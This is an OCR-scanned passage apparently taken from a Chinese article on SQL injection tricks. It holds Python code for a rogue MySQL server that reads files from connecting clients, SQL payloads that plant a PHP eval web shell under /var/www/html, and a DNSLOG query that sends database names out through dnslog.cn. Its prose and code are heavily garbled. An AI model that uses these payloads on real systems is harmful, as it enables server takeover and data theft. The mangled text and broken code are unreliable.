packet = mysql_packet.parse(data)

try:
if self.order != packet.packet_num:
raise OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == 'x03"
log.info('Query")

filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
'xFB{0}'.format(filename)

)

self.set_terminator(3)

self.state = 'LEN'

self.sub_state = 'File'

self.push(PACKET)

elif packet.payload[0] == 'x1b":

log.info('SelectDB')

self.push(mysql_packet(
packet,
'xfex00x00x02x00"

)

raise LastPacket()
elif packet.payload[0] in 'x02":
self.push(mysql_packet(
packet, 'x02'
)

raise LastPacket()

elif packet.payload == 'xO0x01"
self.push(None)
self.close_when_done()

else:
raise ValueError()

else:

if self.sub_state == 'File"
log.info('-- result')
log.info('Result: %r', data)

if len(data) == 1:
self.push(
mysql_packet(packet, 'x02')
)

raise LastPacket()
else:

self.set_terminator(3)

self.state = 'LEN'

self.order = packet.packet_num + 1

elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, 'x02'
)

raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'

eanlf ~ciilh ctAatAa — NlAnA
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STILSUU_SLdLE — INUIIS
self.order =0
self.set_terminator(3)

except OutOfOrder:
log.warning('Out of order’)
self.push(None)
self.close_when_done()

else:

log.error('Unknown state')

self.push(‘None')

self.close_when_done()

class mysql_listener(asyncore.dispatcher):
def __init__(self, sock=None):

asyncore.dispatcher.__init__(self, sock)

if not sock:
self.create_socket(socket.AF_INET, socket. SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind((", PORT))
except socket.error:
exit()

self.listen(5)

def handle_accept(self):

pair = self.accept()

if pair is not None:

log.info('Conn from: %r", pair[1])
tmp = http_request_handler(pair)

z = mysql_listener()
daemonize()
asyncore.loop()

4. XX

select 1,"<?php eval($_POST['cmd']);?>" into outfile '/var/www/html/1.php";
select 2,"<?php eval($_POST['cmd']);?>" into dumpfile '/var/www/html/1.php";

X secure_file_priv &8 NULL B, pIB4AMBEENH AT :

set global general_log_file = '/var/www/html/1.php';
set global general_log = on;

HEBR T general_log MBEMITLZ AT, LSRR FEERHENENATHNR, HEBRESITIANNFHTLPIXA
ZhA, BEARAREEYE,

5.DNSLOG (OOB 3¥N\)

EM/1hIe) DNS fRS525, W=7E DNS HEHRE Mok, WRIEKFSEAE SQL EWpER, NESREKTHEI DNS
ia%q:lO

FIFR A

1.secure_file_priv M= BB XAZEUNR

2. Bt windows (MFBY UNC, Linux ARJ{T)
3. TRIZEBITER B EE

MBHE:

BI A —1 % Z&H) DNSlog:  http://dnslog.cn/

HNEPERR—1FERE, HAT:

https://www.anquanke.com/post/id/205376#h3-2 21/22


http://dnslog.cn/

2021/6/20 SQLI A JERIHSHL R Tricks 145 - %4 % . RAKMTA

select load_file(concat('\\',(select database()),. 5% .dnslog.cn'));

FB=ETF500) 7 select database(). F18%2. dnslog.cn, 258 T DNSLOG 1tE, BJMXLEICEHEE SQL REMIE

TN o

------------------------------------------------------------------------------------------------------------------------------------------------------------------------

DNS Query Record
aaa.7l4zly.dnslog.cn
aaa.7l4zly.dnslog.cn
aaa.7l4zly.dnslog.cn
aaa.7l4zly.dnslog.cn
aaa.7l4zly.dnslog.cn

aaa.7l4zly.dnslog.cn

________________________________________________________________________________________________________________________________________________________________________
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